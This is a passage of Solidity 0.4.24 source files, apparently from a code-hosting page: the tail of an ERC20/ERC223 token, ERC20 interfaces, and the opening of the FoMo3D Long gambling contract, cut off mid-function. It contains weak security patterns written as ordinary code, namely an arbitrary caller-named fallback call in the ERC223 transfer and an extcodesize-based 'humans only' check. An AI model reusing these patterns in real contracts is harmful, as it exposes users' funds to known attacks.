| return true; | |
| } | |
| // ERC20 | |
| function transferFrom( address from, address to, uint256 value ) public | |
| returns (bool success) | |
| { | |
| require( value <= allowances_[from][msg.sender] ); | |
| allowances_[from][msg.sender] -= value; | |
| bytes memory empty; | |
| _transfer( from, to, value, empty ); | |
| return true; | |
| } | |
| // Ethereum Token | |
| function approveAndCall( address spender, | |
| uint256 value, | |
| bytes context ) public | |
| returns (bool success) | |
| { | |
| if ( approve(spender, value) ) | |
| { | |
| tokenRecipient recip = tokenRecipient( spender ); | |
| recip.receiveApproval( msg.sender, value, context ); | |
| return true; | |
| } | |
| return false; | |
| } | |
| // Ethereum Token | |
| function burn( uint256 value ) public | |
| returns (bool success) | |
| { | |
| require( balances_[msg.sender] >= value ); | |
| balances_[msg.sender] -= value; | |
| totalSupply -= value; | |
| emit Burn( msg.sender, value ); | |
| return true; | |
| } | |
| // Ethereum Token | |
| function burnFrom( address from, uint256 value ) public | |
| returns (bool success) | |
| { | |
| require( balances_[from] >= value ); | |
| require( value <= allowances_[from][msg.sender] ); | |
| balances_[from] -= value; | |
| allowances_[from][msg.sender] -= value; | |
| totalSupply -= value; | |
| emit Burn( from, value ); | |
| return true; | |
| } | |
| // ERC223 Transfer and invoke specified callback | |
| function transfer( address to, | |
| uint value, | |
| bytes data, | |
| string custom_fallback ) public returns (bool success) | |
| { | |
| _transfer( msg.sender, to, value, data ); | |
| if ( isContract(to) ) | |
| { | |
| ContractReceiver rx = ContractReceiver( to ); | |
| require( address(rx).call.value(0)(bytes4(keccak256(custom_fallback)), | |
| msg.sender, | |
| value, | |
| data) ); | |
| } | |
| return true; | |
| } | |
| // ERC223 Transfer to a contract or externally-owned account | |
| function transfer( address to, uint value, bytes data ) public | |
| returns (bool success) | |
| { | |
| if (isContract(to)) { | |
| return transferToContract( to, value, data ); | |
| } | |
| _transfer( msg.sender, to, value, data ); | |
| return true; | |
| } | |
| // ERC223 Transfer to contract and invoke tokenFallback() method | |
| function transferToContract( address to, uint value, bytes data ) private | |
| returns (bool success) | |
| { | |
| _transfer( msg.sender, to, value, data ); | |
| ContractReceiver rx = ContractReceiver(to); | |
| rx.tokenFallback( msg.sender, value, data ); | |
| return true; | |
| } | |
| // ERC223 fetch contract size (must be nonzero to be a contract) | |
| function isContract( address _addr ) private constant returns (bool) | |
| { | |
| uint length; | |
| assembly { length := extcodesize(_addr) } | |
| return (length > 0); | |
| } | |
| function _transfer( address from, | |
| address to, | |
| uint value, | |
| bytes data ) internal | |
| { | |
| require( to != 0x0 ); | |
| require( balances_[from] >= value ); | |
| require( balances_[to] + value > balances_[to] ); // catch overflow | |
| balances_[from] -= value; | |
| balances_[to] += value; | |
| //Transfer( from, to, value, data ); ERC223-compat version | |
| bytes memory empty; | |
| empty = data; | |
| emit Transfer( from, to, value ); // ERC20-compat version | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| import "./ERC20Basic.sol"; | |
| /** | |
| * @title ERC20 interface | |
| * @dev see https://github.com/ethereum/EIPs/issues/20 | |
| */ | |
| contract ERC20 is ERC20Basic { | |
| function allowance(address owner, address spender) | |
| public view returns (uint256); | |
| function transferFrom(address from, address to, uint256 value) | |
| public returns (bool); | |
| function approve(address spender, uint256 value) public returns (bool); | |
| event Approval( | |
| address indexed owner, | |
| address indexed spender, | |
| uint256 value | |
| ); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| /** | |
| * @title ERC20Basic | |
| * @dev Simpler version of ERC20 interface | |
| * See https://github.com/ethereum/EIPs/issues/179 | |
| */ | |
| contract ERC20Basic { | |
| function totalSupply() public view returns (uint256); | |
| function balanceOf(address who) public view returns (uint256); | |
| function transfer(address to, uint256 value) public returns (bool); | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| /** | |
| * @title -FoMo-3D v0.7.1 | |
| * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ | |
| * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ | |
| * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ | |
| * _____ _____ | |
| * (, / /) /) /) (, / /) /) | |
| * ┌─┐ / _ (/_ // // / _ // _ __ _(/ | |
| * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ | |
| * ┴ ┴ / / .-/ _____ (__ / | |
| * (__ / (_/ (, / /)™ | |
| * / __ __ __ __ _ __ __ _ _/_ _ _(/ | |
| * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ | |
| * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 | |
| * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ .--,-``-. | |
| *========,---,.======================____==========================/ / '.=======,---,====* | |
| * ,' .' | ,' , `. / ../ ; .' .' `\ | |
| * ,---.' | ,---. ,-+-,.' _ | ,---. \ ``\ .`- ' ,---.' \ | |
| * | | .' ' ,'\ ,-+-. ; , || ' ,'\ ,---,. \___\/ \ : | | .`\ | | |
| * : : : / / | ,--.'|' | || / / | ,' .' | \ : | : : | ' | | |
| * : | |-, . ; ,. : | | ,', | |, . ; ,. : ,---.' | / / / | ' ' ; : | |
| * | : ;/| ' | |: : | | / | |--' ' | |: : | | .' \ \ \ ' | ; . | | |
| * | | .' ' | .; : | : | | , ' | .; : : |.' ___ / : | | | : | ' | |
| * ' : ' | : | | : | |/ | : | `---' / /\ / : ' : | / ; | |
| * | | | \ \ / | | |`-' \ \ / / ,,/ ',- . | | '` ,/ | |
| * | : \ `----' | ;/ `----' \ ''\ ; ; : .' | |
| *====| | ,'=============='---'==========(long version)===========\ \ .'===| ,.'======* | |
| * `----' `--`-,,-' '---' | |
| * ╔═╗┌─┐┌─┐┬┌─┐┬┌─┐┬ ┌─────────────────────────┐ ╦ ╦┌─┐┌┐ ╔═╗┬┌┬┐┌─┐ | |
| * ║ ║├┤ ├┤ ││ │├─┤│ │ https://exitscam.me │ ║║║├┤ ├┴┐╚═╗│ │ ├┤ | |
| * ╚═╝└ └ ┴└─┘┴┴ ┴┴─┘ └─┬─────────────────────┬─┘ ╚╩╝└─┘└─┘╚═╝┴ ┴ └─┘ | |
| * ┌────────────────────────────────┘ └──────────────────────────────┐ | |
| * │╔═╗┌─┐┬ ┬┌┬┐┬┌┬┐┬ ┬ ╔╦╗┌─┐┌─┐┬┌─┐┌┐┌ ╦┌┐┌┌┬┐┌─┐┬─┐┌─┐┌─┐┌─┐┌─┐ ╔═╗┌┬┐┌─┐┌─┐┬┌─│ | |
| * │╚═╗│ ││ │ │││ │ └┬┘ ═ ║║├┤ └─┐││ ┬│││ ═ ║│││ │ ├┤ ├┬┘├┤ ├─┤│ ├┤ ═ ╚═╗ │ ├─┤│ ├┴┐│ | |
| * │╚═╝└─┘┴─┘┴─┴┘┴ ┴ ┴ ═╩╝└─┘└─┘┴└─┘┘└┘ ╩┘└┘ ┴ └─┘┴└─└ ┴ ┴└─┘└─┘ ╚═╝ ┴ ┴ ┴└─┘┴ ┴│ | |
| * │ ┌──────────┐ ┌───────┐ ┌─────────┐ ┌────────┐ │ | |
| * └────┤ Inventor ├───────────┤ Justo ├────────────┤ Sumpunk ├──────────────┤ Mantso ├──┘ | |
| * └──────────┘ └───────┘ └─────────┘ └────────┘ | |
| * ┌─────────────────────────────────────────────────────────┐ ╔╦╗┬ ┬┌─┐┌┐┌┬┌─┌─┐ ╔╦╗┌─┐ | |
| * │ Ambius, Aritz Cracker, Cryptoknight, Crypto McPump, │ ║ ├─┤├─┤│││├┴┐└─┐ ║ │ │ | |
| * │ Capex, JogFera, The Shocker, Daok, Randazzz, PumpRabbi, │ ╩ ┴ ┴┴ ┴┘└┘┴ ┴└─┘ ╩ └─┘ | |
| * │ Kadaz, Incognito Jo, Lil Stronghands, Ninja Turtle, └───────────────────────────┐ | |
| * │ Psaints, Satoshi, Vitalik, Nano 2nd, Bogdanoffs Isaac Newton, Nikola Tesla, │ | |
| * │ Le Comte De Saint Germain, Albert Einstein, Socrates, & all the volunteer moderator │ | |
| * │ & support staff, content, creators, autonomous agents, and indie devs for P3D. │ | |
| * │ Without your help, we wouldn't have the time to code this. │ | |
| * └─────────────────────────────────────────────────────────────────────────────────────┘ | |
| * | |
| * This product is protected under license. Any unauthorized copy, modification, or use without | |
| * express written consent from the creators is prohibited. | |
| * | |
| * WARNING: THIS PRODUCT IS HIGHLY ADDICTIVE. IF YOU HAVE AN ADDICTIVE NATURE. DO NOT PLAY. | |
| */ | |
| //============================================================================== | |
| // _ _ _ _|_ _ . | |
| // (/_\/(/_| | | _\ . | |
| //============================================================================== | |
| contract F3Devents { | |
| // fired whenever a player registers a name | |
| event onNewName | |
| ( | |
| uint256 indexed playerID, | |
| address indexed playerAddress, | |
| bytes32 indexed playerName, | |
| bool isNewPlayer, | |
| uint256 affiliateID, | |
| address affiliateAddress, | |
| bytes32 affiliateName, | |
| uint256 amountPaid, | |
| uint256 timeStamp | |
| ); | |
| // fired at end of buy or reload | |
| event onEndTx | |
| ( | |
| uint256 compressedData, | |
| uint256 compressedIDs, | |
| bytes32 playerName, | |
| address playerAddress, | |
| uint256 ethIn, | |
| uint256 keysBought, | |
| address winnerAddr, | |
| bytes32 winnerName, | |
| uint256 amountWon, | |
| uint256 newPot, | |
| uint256 P3DAmount, | |
| uint256 genAmount, | |
| uint256 potAmount, | |
| uint256 airDropPot | |
| ); | |
| // fired whenever theres a withdraw | |
| event onWithdraw | |
| ( | |
| uint256 indexed playerID, | |
| address playerAddress, | |
| bytes32 playerName, | |
| uint256 ethOut, | |
| uint256 timeStamp | |
| ); | |
| // fired whenever a withdraw forces end round to be ran | |
| event onWithdrawAndDistribute | |
| ( | |
| address playerAddress, | |
| bytes32 playerName, | |
| uint256 ethOut, | |
| uint256 compressedData, | |
| uint256 compressedIDs, | |
| address winnerAddr, | |
| bytes32 winnerName, | |
| uint256 amountWon, | |
| uint256 newPot, | |
| uint256 P3DAmount, | |
| uint256 genAmount | |
| ); | |
| // (fomo3d long only) fired whenever a player tries a buy after round timer | |
| // hit zero, and causes end round to be ran. | |
| event onBuyAndDistribute | |
| ( | |
| address playerAddress, | |
| bytes32 playerName, | |
| uint256 ethIn, | |
| uint256 compressedData, | |
| uint256 compressedIDs, | |
| address winnerAddr, | |
| bytes32 winnerName, | |
| uint256 amountWon, | |
| uint256 newPot, | |
| uint256 P3DAmount, | |
| uint256 genAmount | |
| ); | |
| // (fomo3d long only) fired whenever a player tries a reload after round timer | |
| // hit zero, and causes end round to be ran. | |
| event onReLoadAndDistribute | |
| ( | |
| address playerAddress, | |
| bytes32 playerName, | |
| uint256 compressedData, | |
| uint256 compressedIDs, | |
| address winnerAddr, | |
| bytes32 winnerName, | |
| uint256 amountWon, | |
| uint256 newPot, | |
| uint256 P3DAmount, | |
| uint256 genAmount | |
| ); | |
| // fired whenever an affiliate is paid | |
| event onAffiliatePayout | |
| ( | |
| uint256 indexed affiliateID, | |
| address affiliateAddress, | |
| bytes32 affiliateName, | |
| uint256 indexed roundID, | |
| uint256 indexed buyerID, | |
| uint256 amount, | |
| uint256 timeStamp | |
| ); | |
| // received pot swap deposit | |
| event onPotSwapDeposit | |
| ( | |
| uint256 roundID, | |
| uint256 amountAddedToPot | |
| ); | |
| } | |
| //============================================================================== | |
| // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . | |
| // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . | |
| //====================================|========================================= | |
| contract modularLong is F3Devents {} | |
| contract FoMo3Dlong is modularLong { | |
| using SafeMath for *; | |
| using NameFilter for string; | |
| using F3DKeysCalcLong for uint256; | |
| otherFoMo3D private otherF3D_; | |
| DiviesInterface constant private Divies = DiviesInterface(0xc7029Ed9EBa97A096e72607f4340c34049C7AF48); | |
| JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0xdd4950F977EE28D2C132f1353D1595035Db444EE); | |
| PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xD60d353610D9a5Ca478769D371b53CEfAA7B6E4c); | |
| F3DexternalSettingsInterface constant private extSettings = F3DexternalSettingsInterface(0x32967D6c142c2F38AB39235994e2DDF11c37d590); | |
| //============================================================================== | |
| // _ _ _ |`. _ _ _ |_ | _ _ . | |
| // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) | |
| //=================_|=========================================================== | |
| string constant public name = "FoMo3D Long Official"; | |
| string constant public symbol = "F3D"; | |
| uint256 private rndExtra_ = extSettings.getLongExtra(); // length of the very first ICO | |
| uint256 private rndGap_ = extSettings.getLongGap(); // length of ICO phase, set to 1 year for EOS. | |
| uint256 constant private rndInit_ = 1 hours; // round timer starts at this | |
| uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer | |
| uint256 constant private rndMax_ = 24 hours; // max length a round timer can be | |
| //============================================================================== | |
| // _| _ _|_ _ _ _ _|_ _ . | |
| // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) | |
| //=============================|================================================ | |
| uint256 public airDropPot_; // person who gets the airdrop wins part of this pot | |
| uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop | |
| uint256 public rID_; // round id number / total rounds that have happened | |
| //**************** | |
| // PLAYER DATA | |
| //**************** | |
| mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address | |
| mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name | |
| mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data | |
| mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id | |
| mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) | |
| //**************** | |
| // ROUND DATA | |
| //**************** | |
| mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data | |
| mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id | |
| //**************** | |
| // TEAM FEE DATA | |
| //**************** | |
| mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team | |
| mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team | |
| //============================================================================== | |
| // _ _ _ __|_ _ __|_ _ _ . | |
| // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) | |
| //============================================================================== | |
| constructor() | |
| public | |
| { | |
| // Team allocation structures | |
| // 0 = whales | |
| // 1 = bears | |
| // 2 = sneks | |
| // 3 = bulls | |
| // Team allocation percentages | |
| // (F3D, P3D) + (Pot , Referrals, Community) | |
| // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. | |
| fees_[0] = F3Ddatasets.TeamFee(30,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot | |
| fees_[1] = F3Ddatasets.TeamFee(43,0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot | |
| fees_[2] = F3Ddatasets.TeamFee(56,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot | |
| fees_[3] = F3Ddatasets.TeamFee(43,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot | |
| // how to split up the final pot based on which team was picked | |
| // (F3D, P3D) | |
| potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com | |
| potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com | |
| potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com | |
| potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com | |
| } | |
| //============================================================================== | |
| // _ _ _ _|. |`. _ _ _ . | |
| // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) | |
| //============================================================================== | |
| /** | |
| * @dev used to make sure no one can interact with contract until it has | |
| * been activated. | |
| */ | |
| modifier isActivated() { | |
| require(activated_ == true, "its not ready yet. check ?eta in discord"); | |
| _; | |
| } | |
| /** | |
| * @dev prevents contracts from interacting with fomo3d | |
| */ | |
| modifier isHuman() { | |
| address _addr = msg.sender; | |
| uint256 _codeLength; | |
| assembly {_codeLength := extcodesize(_addr)} | |
| require(_codeLength == 0, "sorry humans only"); | |
| _; | |
| } | |
| /** | |
| * @dev sets boundaries for incoming tx | |
| */ | |
| modifier isWithinLimits(uint256 _eth) { | |
| require(_eth >= 1000000000, "pocket lint: not a valid currency"); | |
| require(_eth <= 100000000000000000000000, "no vitalik, no"); | |
| _; | |
| } | |
| //============================================================================== | |
| // _ |_ |. _ |` _ __|_. _ _ _ . | |
| // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) | |
| //====|========================================================================= | |
| /** | |
| * @dev emergency buy uses last stored affiliate ID and team snek | |
| */ | |
| function() | |
| isActivated() | |
| isHuman() | |
| isWithinLimits(msg.value) | |
| public | |
| payable | |
| { | |
| // set up our tx event data and determine if player is new or not | |
| F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); | |
| // fetch player id | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // buy core | |
| buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); | |
| } | |
| /** | |
| * @dev converts all incoming ethereum to keys. | |
| * -functionhash- 0x8f38f309 (using ID for affiliate) | |
| * -functionhash- 0x98a0871d (using address for affiliate) | |
| * -functionhash- 0xa65b37a1 (using name for affiliate) | |
| * @param _affCode the ID/address/name of the player who gets the affiliate fee | |
| * @param _team what team is the player playing for? | |
| */ | |
| function buyXid(uint256 _affCode, uint256 _team) | |
| isActivated() | |
| isHuman() | |
| isWithinLimits(msg.value) | |
| public | |
| payable | |
| { | |
| // set up our tx event data and determine if player is new or not | |
| F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); | |
| // fetch player id | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // manage affiliate residuals | |
| // if no affiliate code was given or player tried to use their own, lolz | |
| if (_affCode == 0 || _affCode == _pID) | |
| { | |
| // use last stored affiliate code | |
| _affCode = plyr_[_pID].laff; | |
| // if affiliate code was given & its not the same as previously stored | |
| } else if (_affCode != plyr_[_pID].laff) { | |
| // update last affiliate | |
| plyr_[_pID].laff = _affCode; | |
| } | |
| // verify a valid team was selected | |
| _team = verifyTeam(_team); | |
| // buy core | |
| buyCore(_pID, _affCode, _team, _eventData_); | |
| } | |
| function buyXaddr(address _affCode, uint256 _team) | |
| isActivated() | |
| isHuman() | |
| isWithinLimits(msg.value) | |
| public | |
| payable | |
| { | |
| // set up our tx event data and determine if player is new or not | |
| F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); | |
| // fetch player id | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // manage affiliate residuals | |
| uint256 _affID; | |
| // if no affiliate code was given or player tried to use their own, lolz | |
| if (_affCode == address(0) || _affCode == msg.sender) | |
| { | |
| // use last stored affiliate code | |
| _affID = plyr_[_pID].laff; | |
| // if affiliate code was given | |
| } else { | |
| // get affiliate ID from aff Code | |
| _affID = pIDxAddr_[_affCode]; | |
| // if affID is not the same as previously stored | |
| if (_affID != plyr_[_pID].laff) | |
| { | |
| // update last affiliate | |
| plyr_[_pID].laff = _affID; | |
| } | |
| } | |
| // verify a valid team was selected | |
| _team = verifyTeam(_team); | |
| // buy core | |
| buyCore(_pID, _affID, _team, _eventData_); | |
| } | |
| function buyXname(bytes32 _affCode, uint256 _team) | |
| isActivated() | |
| isHuman() | |
| isWithinLimits(msg.value) | |
| public | |
| payable | |
| { | |
| // set up our tx event data and determine if player is new or not | |
| F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); | |
| // fetch player id | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // manage affiliate residuals | |
| uint256 _affID; | |
| // if no affiliate code was given or player tried to use their own, lolz | |
| if (_affCode == '' || _affCode == plyr_[_pID].name) | |
| { | |
| // use last stored affiliate code | |
| _affID = plyr_[_pID].laff; | |
| // if affiliate code was given | |
| } else { | |
| // get affiliate ID from aff Code | |
| _affID = pIDxName_[_affCode]; | |
| // if affID is not the same as previously stored | |
| if (_affID != plyr_[_pID].laff) | |
| { | |
| // update last affiliate | |
| plyr_[_pID].laff = _affID; | |
| } | |
| } | |
| // verify a valid team was selected | |
| _team = verifyTeam(_team); | |
| // buy core | |
| buyCore(_pID, _affID, _team, _eventData_); | |
| } | |
| /** | |
| * @dev essentially the same as buy, but instead of you sending ether | |
| * from your wallet, it uses your unwithdrawn earnings. | |
| * -functionhash- 0x349cdcac (using ID for affiliate) | |
| * -functionhash- 0x82bfc739 (using address for affiliate) | |
| * -functionhash- 0x079ce327 (using name for affiliate) | |
| * @param _affCode the ID/address/name of the player who gets the affiliate fee | |
| * @param _team what team is the player playing for? | |
| * @param _eth amount of earnings to use (remainder returned to gen vault) | |
| */ | |
| function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) | |
| isActivated() | |
| isHuman() | |
| isWithinLimits(_eth) | |
| public | |
| { | |
| // set up our tx event data | |
| F3Ddatasets.EventReturns memory _eventData_; | |
| // fetch player ID | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // manage affiliate residuals | |
| // if no affiliate code was given or player tried to use their own, lolz | |
| if (_affCode == 0 || _affCode == _pID) | |
| { | |
| // use last stored affiliate code | |
| _affCode = plyr_[_pID].laff; | |
| // if affiliate code was given & its not the same as previously stored | |
| } else if (_affCode != plyr_[_pID].laff) { | |
| // update last affiliate | |
| plyr_[_pID].laff = _affCode; | |
| } | |
| // verify a valid team was selected | |
| _team = verifyTeam(_team); | |
| // reload core | |
| reLoadCore(_pID, _affCode, _team, _eth, _eventData_); | |
| } | |
| function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) | |
| isActivated() | |
| isHuman() | |
| isWithinLimits(_eth) | |
| public | |
| { | |
| // set up our tx event data | |
| F3Ddatasets.EventReturns memory _eventData_; | |
| // fetch player ID | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // manage affiliate residuals | |
| uint256 _affID; | |
| // if no affiliate code was given or player tried to use their own, lolz | |
| if (_affCode == address(0) || _affCode == msg.sender) | |
| { | |
| // use last stored affiliate code | |
| _affID = plyr_[_pID].laff; | |
| // if affiliate code was given | |
| } else { | |
| // get affiliate ID from aff Code | |
| _affID = pIDxAddr_[_affCode]; | |
| // if affID is not the same as previously stored | |
| if (_affID != plyr_[_pID].laff) | |
| { | |
| // update last affiliate | |
| plyr_[_pID].laff = _affID; | |
| } | |
| } | |
| // verify a valid team was selected | |
| _team = verifyTeam(_team); | |
| // reload core | |
| reLoadCore(_pID, _affID, _team, _eth, _eventData_); | |
| } | |
| function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) | |
| isActivated() | |
| isHuman() | |
| isWithinLimits(_eth) | |
| public | |
| { | |
| // set up our tx event data | |
| F3Ddatasets.EventReturns memory _eventData_; | |
| // fetch player ID | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // manage affiliate residuals | |
| uint256 _affID; | |
| // if no affiliate code was given or player tried to use their own, lolz | |
| if (_affCode == '' || _affCode == plyr_[_pID].name) | |
| { | |
| // use last stored affiliate code | |
| _affID = plyr_[_pID].laff; | |
| // if affiliate code was given | |
| } else { | |
| // get affiliate ID from aff Code | |
| _affID = pIDxName_[_affCode]; | |
| // if affID is not the same as previously stored | |
| if (_affID != plyr_[_pID].laff) | |
| { | |
| // update last affiliate | |
| plyr_[_pID].laff = _affID; | |
| } | |
| } | |
| // verify a valid team was selected | |
| _team = verifyTeam(_team); | |
| // reload core | |
| reLoadCore(_pID, _affID, _team, _eth, _eventData_); | |
| } | |
| /** | |
| * @dev withdraws all of your earnings. | |
| * -functionhash- 0x3ccfd60b | |
| */ | |
| function withdraw() | |
| isActivated() | |
| isHuman() | |
| public | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // grab time | |
| uint256 _now = now; | |
| // fetch player ID | |
| uint256 _pID = pIDxAddr_[msg.sender]; | |
| // setup temp var for player eth | |
| uint256 _eth; | |
| // check to see if round has ended and no one has run round end yet | |
| if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) | |
| { | |
| // set up our tx event data | |
| F3Ddatasets.EventReturns memory _eventData_; | |
| // end the round (distributes pot) | |
| round_[_rID].ended = true; | |
| _eventData_ = endRound(_eventData_); | |
| // get their earnings | |
| _eth = withdrawEarnings(_pID); | |
| // gib moni | |
| if (_eth > 0) | |
| plyr_[_pID].addr.transfer(_eth); | |
| // build event data | |
| _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); | |
| _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; | |
| // fire withdraw and distribute event | |
| emit F3Devents.onWithdrawAndDistribute | |
| ( | |
| msg.sender, | |
| plyr_[_pID].name, | |
| _eth, | |
| _eventData_.compressedData, | |
| _eventData_.compressedIDs, | |
| _eventData_.winnerAddr, | |
| _eventData_.winnerName, | |
| _eventData_.amountWon, | |
| _eventData_.newPot, | |
| _eventData_.P3DAmount, | |
| _eventData_.genAmount | |
| ); | |
| // in any other situation | |
| } else { | |
| // get their earnings | |
| _eth = withdrawEarnings(_pID); | |
| // gib moni | |
| if (_eth > 0) | |
| plyr_[_pID].addr.transfer(_eth); | |
| // fire withdraw event | |
| emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); | |
| } | |
| } | |
| /** | |
| * @dev use these to register names. they are just wrappers that will send the | |
| * registration requests to the PlayerBook contract. So registering here is the | |
| * same as registering there. UI will always display the last name you registered. | |
| * but you will still own all previously registered names to use as affiliate | |
| * links. | |
| * - must pay a registration fee. | |
| * - name must be unique | |
| * - names will be converted to lowercase | |
| * - name cannot start or end with a space | |
| * - cannot have more than 1 space in a row | |
| * - cannot be only numbers | |
| * - cannot start with 0x | |
| * - name must be at least 1 char | |
| * - max length of 32 characters long | |
| * - allowed characters: a-z, 0-9, and space | |
| * -functionhash- 0x921dec21 (using ID for affiliate) | |
| * -functionhash- 0x3ddd4698 (using address for affiliate) | |
| * -functionhash- 0x685ffd83 (using name for affiliate) | |
| * @param _nameString players desired name | |
| * @param _affCode affiliate ID, address, or name of who referred you | |
| * @param _all set to true if you want this to push your info to all games | |
| * (this might cost a lot of gas) | |
| */ | |
| function registerNameXID(string _nameString, uint256 _affCode, bool _all) | |
| isHuman() | |
| public | |
| payable | |
| { | |
| bytes32 _name = _nameString.nameFilter(); | |
| address _addr = msg.sender; | |
| uint256 _paid = msg.value; | |
| (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); | |
| uint256 _pID = pIDxAddr_[_addr]; | |
| // fire event | |
| emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); | |
| } | |
| function registerNameXaddr(string _nameString, address _affCode, bool _all) | |
| isHuman() | |
| public | |
| payable | |
| { | |
| bytes32 _name = _nameString.nameFilter(); | |
| address _addr = msg.sender; | |
| uint256 _paid = msg.value; | |
| (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); | |
| uint256 _pID = pIDxAddr_[_addr]; | |
| // fire event | |
| emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); | |
| } | |
| function registerNameXname(string _nameString, bytes32 _affCode, bool _all) | |
| isHuman() | |
| public | |
| payable | |
| { | |
| bytes32 _name = _nameString.nameFilter(); | |
| address _addr = msg.sender; | |
| uint256 _paid = msg.value; | |
| (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); | |
| uint256 _pID = pIDxAddr_[_addr]; | |
| // fire event | |
| emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); | |
| } | |
| //============================================================================== | |
| // _ _ _|__|_ _ _ _ . | |
| // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) | |
| //=====_|======================================================================= | |
| /** | |
| * @dev return the price buyer will pay for next 1 individual key. | |
| * -functionhash- 0x018a25e8 | |
| * @return price for next key bought (in wei format) | |
| */ | |
| function getBuyPrice() | |
| public | |
| view | |
| returns(uint256) | |
| { | |
| // setup local rID | |
| uint256 _rID = rID_; | |
| // grab time | |
| uint256 _now = now; | |
| // are we in a round? | |
| if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) | |
